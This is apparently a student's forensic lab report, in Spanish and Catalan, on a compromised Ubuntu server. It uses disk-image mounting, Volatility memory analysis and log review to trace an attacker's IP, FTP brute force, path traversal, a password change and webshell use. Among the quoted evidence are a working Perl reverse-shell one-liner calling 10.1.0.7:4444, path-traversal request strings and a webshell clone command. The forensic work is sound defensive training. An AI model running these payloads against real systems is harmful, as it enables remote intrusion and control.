Montaje en el Linux

```
┌──(kali㉿kali)-[/media/sf_imagenesram]
└─$ sudo su
┌──(root㉿kali)-[/media/sf_imagenesram]
└─# mkdir /tmp/disco

┌──(root㉿kali)-[/media/sf_imagenesram]
└─# ewfmount ud5_act1_linux_img_disc.E01 /tmp/disco
ewfmount 20140816


┌──(root㉿kali)-[/media/sf_imagenesram]
└─# ls -lisa /tmp/disco
total 0
1 0 dr-xr-xr-x  2 root root           0 Mar 25 10:42 .
1 0 drwxrwxrwt 15 root root         340 Mar 25 10:42 ..
2 0 -r--r--r--  1 root root 41943040000 Mar 25 10:42 ewf1

┌──(root㉿kali)-[/media/sf_imagenesram]
└─#
```

```
┌──(root㉿kali)-[/media/sf_imagenesram]
└─# cd /tmp/disco

┌──(root㉿kali)-[/tmp/disco]
└─# file ewf1
ewf1: DOS/MBR boot sector

┌──(root㉿kali)-[/tmp/disco]
└─# fdisk -l ./ewf1
Disk ./ewf1: 39.06 GiB, 41943040000 bytes, 81920000 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x000004b7

Device     Boot  Start      End  Sectors  Size Id Type
./ewf1p1   *      2048   499711   497664  243M 83 Linux
./ewf1p2        501758 81917951 81416194 38.8G  5 Extended
./ewf1p5        501760 81917951 81416192 38.8G 8e Linux LVM

┌──(root㉿kali)-[/tmp/disco]
└─# mmls ./ewf1
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors

      Slot      Start        End          Length       Description
000:  Meta      0000000000   0000000000   0000000001   Primary Table (#0)
001:  -------   0000000000   0000002047   0000002048   Unallocated
002:  000:000   0000002048   0000499711   0000497664   Linux (0x83)
003:  -------   0000499712   0000501759   0000002048   Unallocated
004:  Meta      0000501758   0081917951   0081416194   DOS Extended (0x05)
005:  Meta      0000501758   0000501758   0000000001   Extended Table (#1)
006:  001:000   0000501760   0081917951   0081416192   Linux Logical Volume Manager (0x8e)
007:  -------   0081917952   0081919999   0000002048   Unallocated
```

```
┌──(root㉿kali)-[/tmp/disco]
└─# fsstat -o 0000002048 ./ewf1
FILE SYSTEM INFORMATION
--------------------------------------------

File System Type: Ext2
Volume Name:
Volume ID: 1059fe9494e76d83c24432cca2ee0dae

Last Written at: 2021-06-10 20:50:34 (EDT)
Last Checked at: 2021-05-14 13:30:59 (EDT)

Last Mounted at: 2021-06-10 20:50:34 (EDT)
Unmounted Improperly
Last mounted on: /boot

Source OS: Linux
Dynamic Structure
Compat Features: Ext Attributes, Resize Inode, Dir Index
InCompat Features: Filetype,
Read Only Compat Features: Sparse Super,

METADATA INFORMATION
--------------------------------------------

Inode Range: 1 - 62249
Root Directory: 2
Free Inodes: 61950

CONTENT INFORMATION
--------------------------------------------

Block Range: 0 - 248831
Block Size: 1024
Reserved Blocks Before Block Groups: 1
Free Blocks: 200209

BLOCK GROUP INFORMATION
--------------------------------------------

Number of Block Groups: 31
Inodes per group: 2008
Blocks per group: 8192

Group: 0:
  Inode Range: 1 - 2008
  Block Range: 1 - 8192
```

```
┌──(root㉿kali)-[/tmp/disco]
└─# echo $((512 * 0000501760))
256901120
```

```
┌──(root㉿kali)-[/tmp/disco]
└─# pvdisplay /dev/loop0
  WARNING: PV /dev/loop0 in VG ubuntu-vg is using an old PV header, modify the VG to update.
  --- Physical volume ---
  PV Name               /dev/loop0
  VG Name               ubuntu-vg
  PV Size               38.82 GiB / not usable 2.00 MiB
  Allocatable           yes (but full)
  PE Size               4.00 MiB
  Total PE              9938
  Free PE               0
  Allocated PE          9938
  PV UUID               eRKv7b-Uh6n-ZZmC-gq9e-nruv-IiFY-23ryuE


┌──(root㉿kali)-[/tmp/disco]
└─# vgscan
  WARNING: PV /dev/loop0 in VG ubuntu-vg is using an old PV header, modify the VG to update.
  Found volume group "ubuntu-vg" using metadata type lvm2
```

```
┌──(root㉿kali)-[/tmp/disco]
└─# lvchange -a y ubuntu-vg
  WARNING: PV /dev/loop0 in VG ubuntu-vg is using an old PV header, modify the VG to update.

┌──(root㉿kali)-[/tmp/disco]
└─# lvscan | grep ubuntu-vg
  WARNING: PV /dev/loop0 in VG ubuntu-vg is using an old PV header, modify the VG to update.
  ACTIVE            '/dev/ubuntu-vg/root' [34.82 GiB] inherit
  ACTIVE            '/dev/ubuntu-vg/swap_1' [4.00 GiB] inherit
```

```
┌──(root㉿kali)-[/tmp/disco]
└─# fsstat /dev/ubuntu-vg/root
FILE SYSTEM INFORMATION
--------------------------------------------

File System Type: Ext4
Volume Name:
Volume ID: 61fc005567b59c99ed45a4164d6a5fe0

Last Written at: 2021-06-10 20:50:34 (EDT)
Last Checked at: 2020-10-29 15:22:08 (EDT)

Last Mounted at: 2021-06-10 20:50:34 (EDT)
Unmounted properly
Last mounted on: /

Source OS: Linux
Dynamic Structure
Compat Features: Journal, Ext Attributes, Resize Inode, Dir Index
InCompat Features: Filetype, Needs Recovery, Extents, Flexible Block Groups,
Read Only Compat Features: Sparse Super, Large File, Huge File, Extra Inode Size

Journal ID: 00
Journal Inode: 8

METADATA INFORMATION
--------------------------------------------

Inode Range: 1 - 2285569
Root Directory: 2
Free Inodes: 2156806
```

```
┌──(root㉿kali)-[/tmp/disco]
└─# mkdir /home/kali/montaje

┌──(root㉿kali)-[/tmp/disco]
└─# mount -o ro,noexec /dev/ubuntu-vg/root /home/kali/montaje
mount: /home/kali/montaje: can't read superblock on /dev/mapper/ubuntu--vg-root.
       dmesg(1) may have more information after failed mount system call.

┌──(root㉿kali)-[/tmp/disco]
└─# dmesg | tail
[ 2244.988255] I/O error, dev loop0, sector 4196376 op 0x1:(WRITE) flags 0x800 phys_seg 1 prio class 0
[ 2244.988257] Buffer I/O error on dev dm-0, logical block 524291, lost async page write
[ 2244.988259] I/O error, dev loop0, sector 4196480 op 0x1:(WRITE) flags 0x800 phys_seg 1 prio class 0
[ 2244.988261] Buffer I/O error on dev dm-0, logical block 524304, lost async page write
[ 2244.988263] I/O error, dev loop0, sector 4196488 op 0x1:(WRITE) flags 0x800 phys_seg 1 prio class 0
[ 2244.988264] Buffer I/O error on dev dm-0, logical block 524305, lost async page write
[ 2244.988266] I/O error, dev loop0, sector 4196608 op 0x1:(WRITE) flags 0x800 phys_seg 1 prio class 0
[ 2244.988268] Buffer I/O error on dev dm-0, logical block 524320, lost async page write
[ 2244.988617] JBD2: journal recovery failed
[ 2244.988619] EXT4-fs (dm-0): error loading journal
```

```
┌──(root㉿kali)-[/tmp/disco]
└─# mount -o ro,noexec,noload /dev/ubuntu-vg/root /home/kali/montaje

┌──(root㉿kali)-[/tmp/disco]
└─# ls /home/kali/montaje
bin  boot  dev  etc  home  initrd.img  lib  lib64  lost+found  media  mnt  node_modules  opt  proc  root  run  sbin  srv  sys  tmp  usr  var  vmlinuz
```

Añadir el profile

```
┌──(kali㉿kali)-[/media/sf_imagenesram]
└─$ mv Ubuntu-generic_profile.zip /home/kali/volatility/volatility/plugins/overlays/linux

┌──(kali㉿kali)-[/media/sf_imagenesram]
└─$ cd /home/kali

┌──(kali㉿kali)-[~]
└─$ cd volatility

┌──(kali㉿kali)-[~/volatility]
└─$ python2.7 vol.py --info | grep Ubuntu
Volatility Foundation Volatility Framework 2.6.1
LinuxUbuntu-generic_profilex64 - A Profile for Linux Ubuntu-generic_profile x64
```

U5ACT1: Anàlisi forense Linux
Context
Un sistema Linux de la nostra empresa ha sigut compromés per almenys una vulnerabilitat el 10 de juny de 2021. No sabem fins a quin punt l'atacant ha aconseguit obtenir privilegis ni quines accions ha realitzat un cop dins del sistema. Com a part del personal forense de l'empresa has d'analitzar el que ha passat.

Objectius
1. Determinar la IP de l'atacant.

```
┌──(kali㉿joan)-[~/volatility]
└─$ python2.7 vol.py -f /media/sf_imagenesram/ud5_act1_linux_img_ram.mem --profile=LinuxUbuntu-generic_profilex64 linux_netstat | grep ESTABLISHED
Volatility Foundation Volatility Framework 2.6.1
TCP      ::1          :   631 ::1          :53565 ESTABLISHED                 cupsd/680
TCP      127.0.0.1    :46441 127.0.0.1    :   80 ESTABLISHED                nodejs/1236
TCP      ::1          :53565 ::1          :  631 ESTABLISHED           cups-browsed/1366
TCP      127.0.0.1    :32000 127.0.0.1    :31000 ESTABLISHED       wrapper-linux-x/1698
TCP      ::ffff127.0.0.1 :31000 ::ffff127.0.0.1 :32000 ESTABLISHED                 java/1700
TCP      ::ffff127.0.0.1 :   80 ::ffff127.0.0.1 :46441 ESTABLISHED               apache2/1782
TCP      10.1.0.6     :49118 10.1.0.7     : 4444 ESTABLISHED                  perl/3481
TCP      10.1.0.6     :49118 10.1.0.7     : 4444 ESTABLISHED                  perl/3481
TCP      10.1.0.6     :49118 10.1.0.7     : 4444 ESTABLISHED                  perl/3481
TCP      10.1.0.6     :49118 10.1.0.7     : 4444 ESTABLISHED                    sh/3536
TCP      10.1.0.6     :49118 10.1.0.7     : 4444 ESTABLISHED                    sh/3536
TCP      10.1.0.6     :   22 10.1.0.7     :47218 ESTABLISHED                  sshd/3598
TCP      10.1.0.6     :   22 10.1.0.7     :47218 ESTABLISHED                  sshd/3617
```

```
┌──(kali㉿joan)-[~/volatility]
└─$ python2.7 vol.py -f /media/sf_imagenesram/ud5_act1_linux_img_ram.mem --profile=LinuxUbuntu-generic_profilex64 linux_psaux
Volatility Foundation Volatility Framework 2.6.1
Pid    Uid    Gid    Arguments
1      0      0      ar:lib/jetty-jndi-8.1.7.v20120910.jar:lib/javax.mail.glassfish-1.4.1.v201005082020.jar:lib/javax.activation-1.1.0.v201105071233.jar:lib/jetty-jsp-8.1.7.v20120910.jar:lib/javax.servlet.jsp-2.2.0.v201112011158.jar:lib/org.apache.jasper.glassfish-2.2.2.v201112011158.jar:lib/javax.servlet.jsp.jstl-1.2.0.v201105211821.jar:lib/org.apache.taglibs.standard.glassfish-1.2.0.v201112081803.jar:lib/javax.el-2.2.0.v201108011116.jar:lib/com.sun.el-2.2.0.v201108011116.jar:lib/org.eclipse.jdt.core-3.7.1.jar:lib/jetty-plus-8.1.7.v20120910.jar:lib/javax.transaction-1.1.1.v201105210645.jar:lib/derby-10.1.3.1.jar:lib/mail-1.4.jar:lib/activation-1.1.jar:lib/commons-dbcp-1.4.jar:lib/commons-pool-1.5.4.jar -Dwrapper.key=RxBmMGCxEdZg_O2e -Dwrapper.port=32000 -Dwrapper.jvm.port.min=31000 -Dwrapper.jvm.port.max=31999 -Dwrapper.pid=1698 -Dwrapper.version=3.2.3 -Dwrapper.native_library=wrapper -Dwrapper.service=TRUE -Dwrapper.cpu.timeout=10 -Dwrapper.jvmid=1 org.tanukisoftware.wrapper.WrapperSimpleApp org.eclipse.jetty.start.Main conf/jetty.xml conf/jetty-plus.xml conf/jetty-deploy.xml conf/jetty-contexts.xml conf/jetty-requestlog.xml
1745   0      0      /usr/sbin/apache2 -k start
1748   33     33     /usr/sbin/apache2 -k start
1749   33     33     /usr/sbin/apache2 -k start
1750   33     33     /usr/sbin/apache2 -k start
1751   33     33     /usr/sbin/apache2 -k start
1752   33     33     /usr/sbin/apache2 -k start
1753   33     33     /usr/sbin/apache2 -k start
1782   33     33     /usr/sbin/apache2 -k start
1811   33     33     /usr/sbin/apache2 -k start
1812   33     33     /usr/sbin/apache2 -k start
2175   0      0      dhclient -1 -v -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases eth0
2264   0      0      /usr/sbin/sshd -D
2281   0      900    /bin/login --
2290   0      0      [kworker/u4:0]
3481   1121   100    perl -MIO -e $p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"10.1.0.7:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};
3536   0      0      sh -i
3598   0      0      sshd: han_solo [priv]
3617   1113   100
3618   1113   100
3619   0      0      [kworker/0:0]
3638   0      100    sudo su
3639   0      0      su
3640   0      0      bash
3732   900    900
3749   0      900    sudo su
3750   0      0      su
3751   0      0      bash
3762   0      0      [kworker/u4:1]
3767   0      0      ./avml volcado.mem
```

2. Averiguar quin és l'usuari que es va connectar per SSH i a quina hora.

Una vez hecho el montaje de la imagen he usado este comando para ver que usuario se conecto por ssh y a la hora: *cat /home/kali/montaje/var/log/auth.log*

```
Jun 10 22:22:18 ubuntu proftpd[3310]: ubuntu (10.1.0.7[10.1.0.7]) - USER adm: no such user found from 10.1.0.7 [10.1.0.7] to 10.1.0.6:21
Jun 10 22:22:18 ubuntu proftpd[3311]: ubuntu (10.1.0.7[10.1.0.7]) - USER adm: no such user found from 10.1.0.7 [10.1.0.7] to 10.1.0.6:21
Jun 10 22:22:18 ubuntu proftpd[3305]: ubuntu (10.1.0.7[10.1.0.7]) - USER adm: no such user found from 10.1.0.7 [10.1.0.7] to 10.1.0.6:21
Jun 10 22:22:18 ubuntu proftpd[3305]: ubuntu (10.1.0.7[10.1.0.7]) - Maximum login attempts (3) exceeded, connection refused
Jun 10 22:22:18 ubuntu proftpd[3312]: ubuntu (10.1.0.7[10.1.0.7]) - USER adm: no such user found from 10.1.0.7 [10.1.0.7] to 10.1.0.6:21
Jun 10 22:22:18 ubuntu proftpd[3313]: ubuntu (10.1.0.7[10.1.0.7]) - USER adm: no such user found from 10.1.0.7 [10.1.0.7] to 10.1.0.6:21
Jun 10 22:22:18 ubuntu proftpd[3314]: ubuntu (10.1.0.7[10.1.0.7]) - USER adm: no such user found from 10.1.0.7 [10.1.0.7] to 10.1.0.6:21
Jun 10 22:22:18 ubuntu proftpd[3306]: ubuntu (10.1.0.7[10.1.0.7]) - USER adm: no such user found from 10.1.0.7 [10.1.0.7] to 10.1.0.6:21
Jun 10 22:22:18 ubuntu proftpd[3306]: ubuntu (10.1.0.7[10.1.0.7]) - Maximum login attempts (3) exceeded, connection refused
Jun 10 22:22:18 ubuntu proftpd[3315]: ubuntu (10.1.0.7[10.1.0.7]) - USER adm: no such user found from 10.1.0.7 [10.1.0.7] to 10.1.0.6:21
Jun 10 22:22:18 ubuntu proftpd[3316]: ubuntu (10.1.0.7[10.1.0.7]) - USER adm: no such user found from 10.1.0.7 [10.1.0.7] to 10.1.0.6:21
Jun 10 22:22:18 ubuntu proftpd[3317]: ubuntu (10.1.0.7[10.1.0.7]) - USER adm: no such user found from 10.1.0.7 [10.1.0.7] to 10.1.0.6:21
Jun 10 22:22:18 ubuntu proftpd[3307]: message repeated 2 times: [ ubuntu (10.1.0.7[10.1.0.7]) - USER adm: no such user found from 10.1.0.7 [10.1.0.7] to 10.1.0.
6:21]
Jun 10 22:22:18 ubuntu proftpd[3307]: ubuntu (10.1.0.7[10.1.0.7]) - Maximum login attempts (3) exceeded, connection refused
Jun 10 22:22:18 ubuntu proftpd[3318]: ubuntu (10.1.0.7[10.1.0.7]) - USER adm: no such user found from 10.1.0.7 [10.1.0.7] to 10.1.0.6:21
Jun 10 22:22:18 ubuntu proftpd[3308]: message repeated 2 times: [ ubuntu (10.1.0.7[10.1.0.7]) - USER adm: no such user found from 10.1.0.7 [10.1.0.7] to 10.1.0.
6:21]
Jun 10 22:22:18 ubuntu proftpd[3308]: ubuntu (10.1.0.7[10.1.0.7]) - Maximum login attempts (3) exceeded, connection refused
Jun 10 22:22:18 ubuntu proftpd[3313]: ubuntu (10.1.0.7[10.1.0.7]) - USER adm: no such user found from 10.1.0.7 [10.1.0.7] to 10.1.0.6:21
Jun 10 22:22:18 ubuntu proftpd[3316]: ubuntu (10.1.0.7[10.1.0.7]) - USER adm: no such user found from 10.1.0.7 [10.1.0.7] to 10.1.0.6:21
Jun 10 22:22:18 ubuntu proftpd[3311]: ubuntu (10.1.0.7[10.1.0.7]) - USER adm: no such user found from 10.1.0.7 [10.1.0.7] to 10.1.0.6:21
Jun 10 22:22:18 ubuntu proftpd[3312]: ubuntu (10.1.0.7[10.1.0.7]) - USER adm: no such user found from 10.1.0.7 [10.1.0.7] to 10.1.0.6:21
Jun 10 22:22:18 ubuntu proftpd[3314]: ubuntu (10.1.0.7[10.1.0.7]) - USER adm: no such user found from 10.1.0.7 [10.1.0.7] to 10.1.0.6:21
Jun 10 22:22:18 ubuntu proftpd[3310]: ubuntu (10.1.0.7[10.1.0.7]) - USER adm: no such user found from 10.1.0.7 [10.1.0.7] to 10.1.0.6:21
Jun 10 22:22:18 ubuntu proftpd[3315]: ubuntu (10.1.0.7[10.1.0.7]) - USER adm: no such user found from 10.1.0.7 [10.1.0.7] to 10.1.0.6:21
Jun 10 22:22:18 ubuntu proftpd[3309]: ubuntu (10.1.0.7[10.1.0.7]) - USER adm: no such user found from 10.1.0.7 [10.1.0.7] to 10.1.0.6:21
Jun 10 22:32:03 ubuntu passwd[3597]: pam_unix(passwd:chauthtok): password changed for han_solo
Jun 10 22:32:29 ubuntu sshd[3598]: Accepted password for han_solo from 10.1.0.7 port 47218 ssh2
Jun 10 22:32:29 ubuntu sshd[3598]: pam_unix(sshd:session): session opened for user han_solo by (uid=0)
Jun 10 22:33:06 ubuntu sudo: han_solo : TTY=pts/0 ; PWD=/var/www/html ; USER=root ; COMMAND=/bin/su
Jun 10 22:33:06 ubuntu sudo: pam_unix(sudo:session): session opened for user root by han_solo(uid=0)
Jun 10 22:33:06 ubuntu su[3639]: Successful su for root by root
Jun 10 22:33:06 ubuntu su[3639]: + /dev/pts/0 root:root
Jun 10 22:33:06 ubuntu su[3639]: pam_unix(su:session): session opened for user root by han_solo(uid=0)
Jun 10 22:36:28 ubuntu login[2281]: pam_unix(login:session): session opened for user vagrant by LOGIN(uid=0)
Jun 10 22:36:36 ubuntu sudo:  vagrant : TTY=tty1 ; PWD=/home/vagrant ; USER=root ; COMMAND=/bin/su
Jun 10 22:36:36 ubuntu sudo: pam_unix(sudo:session): session opened for user root by vagrant(uid=0)
Jun 10 22:36:36 ubuntu su[3750]: Successful su for root by root
Jun 10 22:36:36 ubuntu su[3750]: + /dev/tty1 root:root
Jun 10 22:36:36 ubuntu su[3750]: pam_unix(su:session): session opened for user root by vagrant(uid=0)

┌──(root㉿joan)-[/home/kali/montaje]
└─#
```

En esta captura se muestra que en el dia 10 de junio a las 22:22 alguien intentó conectarse como adm (antes de ese lo intentó con muchos otros usuarios), pero ese usuario no existía y fallaba, luego alguien con el usuario *han_solo* cambio la contraseña y se conectó exitosamente por ssh por la ip 10.1.0.7 y por último se conectó como *root*, mediante sudo.
También se encuentra un usuario llamado *vagrant,* el cual también se conecta como root. (Parece que es el usuario que hizo el volcado de la ram, porque dentro de la carpeta de home/vagrant he encontrado el volatility)

3. Trobar el servei sobre el qual es va realitzar un atac de força bruta i veure a quina hora va succeir.

Fue por el servicio FTP por el puerto 21 por el cual se realizó el ataque por fuerza bruta, ocurrió el 10 de junio a las 22:22:18 como se muestra en la captura de la pregunta 2.

4. Revisar si es va realitzar alguna modificació sobre algun usuari. Averiguar què li van canviar i a quina hora.

El usuario que fue modificado fue el de han_solo, ocurrió el 10 de junio a las 22:32:03 y se le cambió la contraseña.

```
Jun 10 22:32:03 ubuntu passwd[3597]: pam_unix(passwd:chauthtok): password changed for han_solo
Jun 10 22:32:29 ubuntu sshd[3598]: Accepted password for han_solo from 10.1.0.7 port 47218 ssh2
```

5. Sabem que també es va realitzar un atac per path traversal. Averiguar on i a quina hora.

```
┌──(kali㉿joan)-[/media/sf_imagenesram/ud5act1]
└─$ grep -a "\.\./\.\./" var/log/apache2/access.log
10.1.0.7 - - [10/Jun/2021:22:23:25 +0000] "GET /drupal/?q=../../etc/passwd HTTP/1.1" 404 7688 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.7.3) Gecko/20040910"
10.1.0.7 - - [10/Jun/2021:22:23:25 +0000] "GET /drupal/?q=../../etc/issue HTTP/1.1" 404 7685 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.209.0 Safa
ri/532.0"
10.1.0.7 - - [10/Jun/2021:22:23:26 +0000] "GET /drupal/?q=../../../etc/passwd HTTP/1.1" 404 7704 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050811 Firefox/1.0.6"
10.1.0.7 - - [10/Jun/2021:22:23:26 +0000] "GET /drupal/?q=../../../etc/issue HTTP/1.1" 404 7701 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; YPC 3.2.0; SLCC1; .NET CLR 2.0.50727; Media Center PC
 5.0; InfoPath.2; .NET CLR 3.5.30729; .NET CLR 3.0.30618)"
10.1.0.7 - - [10/Jun/2021:22:23:26 +0000] "GET /drupal/?q=../../../../etc/passwd HTTP/1.1" 404 7721 "-" "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b3) Gecko/20090327 GNU/Linux/x86_64 Firefox/3.1"
10.1.0.7 - - [10/Jun/2021:22:23:27 +0000] "GET /drupal/?q=../../../../etc/issue HTTP/1.1" 404 7718 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NE
T CLR 3.0.30729; Media Center PC 6.0)"
10.1.0.7 - - [10/Jun/2021:22:23:27 +0000] "GET /drupal/?q=../../../../../etc/passwd HTTP/1.1" 404 7739 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070227 BonEcho/2.0.0.2"
10.1.0.7 - - [10/Jun/2021:22:23:27 +0000] "GET /drupal/?q=../../../../../etc/issue HTTP/1.1" 404 7736 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0;
 .NET CLR 3.0.04506; OfficeLiveConnector.1.3; OfficeLivePatch.1.3; Lunascape 5.0.5.0)"
10.1.0.7 - - [10/Jun/2021:22:23:28 +0000] "GET /drupal/?q=../../../../../../etc/passwd HTTP/1.1" 404 7758 "-" "w3m/0.5.2"
10.1.0.7 - - [10/Jun/2021:22:23:28 +0000] "GET /drupal/?q=../../../../../../etc/issue HTTP/1.1" 404 7755 "-" "Mozilla/4.0 (compatible; MSIE 5.00; Windows 98)"
```

El log muestra **intentos claros de ataque** por parte del IP 10.1.0.7, que intentó acceder a archivos sensibles en tu sistema a través de URLs manipuladas.

Respondió con 404 (archivo no encontrado), lo cual indica que el ataque probablemente no tuvo éxito, pero lo intentaron.

Ocurrió a las 22:23:25 el 10 de junio.

6. Per aconseguir persistència, és probable que l'atacant haja deixat una webshell. Averiguar quin és i si es va arribar a utilitzar.

En el volcado de la ram con el comando
“python2.7 vol.py -f /media/sf_imagenesram/ud5_act1_linux_img_ram.mem --profile=LinuxUbuntu-generic_profilex64 linux_bash“
se muestran los comandos utilizados y hay uno el cual clona un repositorio de github el 10 de junio a las 22:33:57 que es una powershell.

```
┌──(kali㉿joan)-[~/volatility]
└─$ python2.7 vol.py -f /media/sf_imagenesram/ud5_act1_linux_img_ram.mem --profile=LinuxUbuntu-generic_profilex64 linux_bash
Volatility Foundation Volatility Framework 2.6.1
Pid      Name                 Command Time                   Command
-------- -------------------- ------------------------------ -------
    3618 bash                 2021-06-10 22:33:03 UTC+0000   sudo su
    3640 bash                 2021-06-10 22:33:06 UTC+0000   exit
    3640 bash                 2021-06-10 22:33:11 UTC+0000   mkdir tmp
    3640 bash                 2021-06-10 22:33:13 UTC+0000   cd tmp/
    3640 bash                 2021-06-10 22:33:57 UTC+0000   git clone https://github.com/WhiteWinterWolf/wwwolf-php-webshell
    3732 bash                 2021-06-10 22:36:28 UTC+0000   nc 10.2.0.9 9999 < Ubuntu_3.13.0-24-generic_profile.zip
    3732 bash                 2021-06-10 22:36:28 UTC+0000   sudo init 0
    3732 bash                 2021-06-10 22:36:28 UTC+0000   sudo iptables -F
    3732 bash                 2021-06-10 22:36:28 UTC+0000   make
    3732 bash                 2021-06-10 22:36:28 UTC+0000   logout
    3732 bash                 2021-06-10 22:36:28 UTC+0000   ls
    3732 bash                 2021-06-10 22:36:28 UTC+0000   sudo zip $(lsb_release -i -s)_$(uname -r)_profile.zip ./module.dwarf /boot/System.map-3.13.0-24-gen
eric
```

```
┌──(root㉿joan)-[/home/kali]
└─# strings /home/kali/montaje/var/log/apache2/access.log | grep webshell
10.1.0.7 - - [10/Jun/2021:22:35:03 +0000] "POST /tmp/wwwolf-php-webshell/webshell.php HTTP/1.1" 200 770 "http://10.1.0.6/tmp/wwwolf-php-webshell/webshell.php" "Mozilla/5.0 (X11;
 Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"
10.1.0.7 - - [10/Jun/2021:22:35:06 +0000] "POST /tmp/wwwolf-php-webshell/webshell.php HTTP/1.1" 200 769 "http://10.1.0.6/tmp/wwwolf-php-webshell/webshell.php" "Mozilla/5.0 (X11;
 Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"
10.1.0.7 - - [10/Jun/2021:22:35:11 +0000] "POST /tmp/wwwolf-php-webshell/webshell.php HTTP/1.1" 200 806 "http://10.1.0.6/tmp/wwwolf-php-webshell/webshell.php" "Mozilla/5.0 (X11;
 Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"
10.1.0.7 - - [10/Jun/2021:22:35:25 +0000] "POST /tmp/wwwolf-php-webshell/webshell.php HTTP/1.1" 200 766 "http://10.1.0.6/tmp/wwwolf-php-webshell/webshell.php" "Mozilla/5.0 (X11;
 Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"
10.1.0.7 - - [10/Jun/2021:22:35:31 +0000] "POST /tmp/wwwolf-php-webshell/webshell.php HTTP/1.1" 200 765 "http://10.1.0.6/tmp/wwwolf-php-webshell/webshell.php" "Mozilla/5.0 (X11;
 Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"
10.1.0.7 - - [10/Jun/2021:22:35:33 +0000] "POST /tmp/wwwolf-php-webshell/webshell.php HTTP/1.1" 200 764 "http://10.1.0.6/tmp/wwwolf-php-webshell/webshell.php" "Mozilla/5.0 (X11;
 Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"
10.1.0.7 - - [10/Jun/2021:22:35:35 +0000] "POST /tmp/wwwolf-php-webshell/webshell.php HTTP/1.1" 200 764 "http://10.1.0.6/tmp/wwwolf-php-webshell/webshell.php" "Mozilla/5.0 (X11;
 Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"
10.1.0.7 - - [10/Jun/2021:22:35:36 +0000] "POST /tmp/wwwolf-php-webshell/webshell.php HTTP/1.1" 200 764 "http://10.1.0.6/tmp/wwwolf-php-webshell/webshell.php" "Mozilla/5.0 (X11;
 Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"
10.1.0.7 - - [10/Jun/2021:22:35:39 +0000] "POST /tmp/wwwolf-php-webshell/webshell.php HTTP/1.1" 200 765 "http://10.1.0.6/tmp/wwwolf-php-webshell/webshell.php" "Mozilla/5.0 (X11;
 Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"
10.1.0.7 - - [10/Jun/2021:22:35:55 +0000] "POST /tmp/wwwolf-php-webshell/webshell.php HTTP/1.1" 200 1535 "http://10.1.0.6/tmp/wwwolf-php-webshell/webshell.php" "Mozilla/5.0 (X11
; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"
```

7. Quin fitxer es va compilar per fer l'escalada de privilegis? Quina vulnerabilitat (CVE) va utilitzar?

8. Averiguar quina vulnerabilitat (CVE) es va utilitzar com a vector principal d'entrada a la màquina.

Realitza una memòria contestant les preguntes anteriors amb el màxim nivell de detall i captures de pantalla que argumenten la teua investigació.
A més, al final de la memòria, s'haurà d'incloure un "Resum executiu" que indique la data/hora concreta en la que han ocorregut coses importants en el sistema i si han aconseguit el seu objectiu o no.

CAPTURAS EXTRAS

```
┌──(root㉿joan)-[/home/kali]
└─# cat /home/kali/montaje/etc/passwd | grep -v "nologin"
root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
messagebus:x:102:106::/var/run/dbus:/bin/false
statd:x:104:65534::/var/lib/nfs:/bin/false
vagrant:x:900:900:vagrant,,,:/home/vagrant:/bin/bash
dirmngr:x:105:111::/var/cache/dirmngr:/bin/sh
leia_organa:x:1111:100::/home/leia_organa:/bin/bash
luke_skywalker:x:1112:100::/home/luke_skywalker:/bin/bash
han_solo:x:1113:100::/home/han_solo:/bin/bash
artoo_detoo:x:1114:100::/home/artoo_detoo:/bin/bash
c_three_pio:x:1115:100::/home/c_three_pio:/bin/bash
ben_kenobi:x:1116:100::/home/ben_kenobi:/bin/bash
darth_vader:x:1117:100::/home/darth_vader:/bin/bash
anakin_skywalker:x:1118:100::/home/anakin_skywalker:/bin/bash
jarjar_binks:x:1119:100::/home/jarjar_binks:/bin/bash
lando_calrissian:x:1120:100::/home/lando_calrissian:/bin/bash
boba_fett:x:1121:100::/home/boba_fett:/bin/bash
jabba_hutt:x:1122:100::/home/jabba_hutt:/bin/bash
greedo:x:1123:100::/home/greedo:/bin/bash
chewbacca:x:1124:100::/home/chewbacca:/bin/bash
kylo_ren:x:1125:100::/home/kylo_ren:/bin/bash
mysql:x:106:112:MySQL Server,,,:/nonexistent:/bin/false
avahi:x:107:114:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
colord:x:108:116:colord colour management daemon,,,:/var/lib/colord:/bin/false
```

```
┌──(kali㉿joan)-[/media/sf_imagenesram/ud5act1]
└─$ cat etc/shadow
root:!:18564:0:99999:7:::
daemon:*:16176:0:99999:7:::
